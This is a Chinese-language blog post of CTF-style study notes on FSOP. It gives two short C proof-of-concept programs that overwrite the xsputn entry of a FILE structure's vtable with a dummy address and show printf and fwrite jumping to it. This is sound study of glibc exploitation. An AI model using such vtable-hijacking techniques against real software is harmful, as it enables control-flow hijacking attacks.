FSOP
基本介绍:https://ctf-wiki.org/pwn/linux/user-mode/io-file/fake-vtable-exploit/
vtable hijacking poc
下面是一段劫持vtable的poc,这里是覆盖printf会调用的xsputn,偏移为8。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<sys/mman.h> #include<fcntl.h> #include<string.h> #include<sys/stat.h>
int main(void) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt","rw"); vtable_ptr=*(long long*)((long long)fp+0xd8); mprotect((void*)((long long)vtable_ptr&0xfffffffffffff000),0x1000,PROT_READ|PROT_WRITE|PROT_EXEC); vtable_ptr[7]=0x41414141;
printf("call 0x41414141"); }
|
调试看到的效果:
可见,调用printf的时候,会调用vtable的xsputn函数,这里我们劫持了vtable的xsputn,覆盖成0x41414141,因此在printf调用xsputn的时候,调用了0x41414141。
同时经过测试看到fwrite函数也会调用xsputn。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<sys/mman.h> #include<fcntl.h> #include<string.h> #include<sys/stat.h>
int main(void) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt","rw"); vtable_ptr=*(long long*)((long long)fp+0xd8); mprotect((void*)((long long)vtable_ptr&0xfffffffffffff000),0x1000,PROT_READ|PROT_WRITE|PROT_EXEC); vtable_ptr[7]=0x41414141;
fwrite("hi",2,1,fp); }
|
和printf一样,篡改了xsputn于是在call的时候调用了0x41414141
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !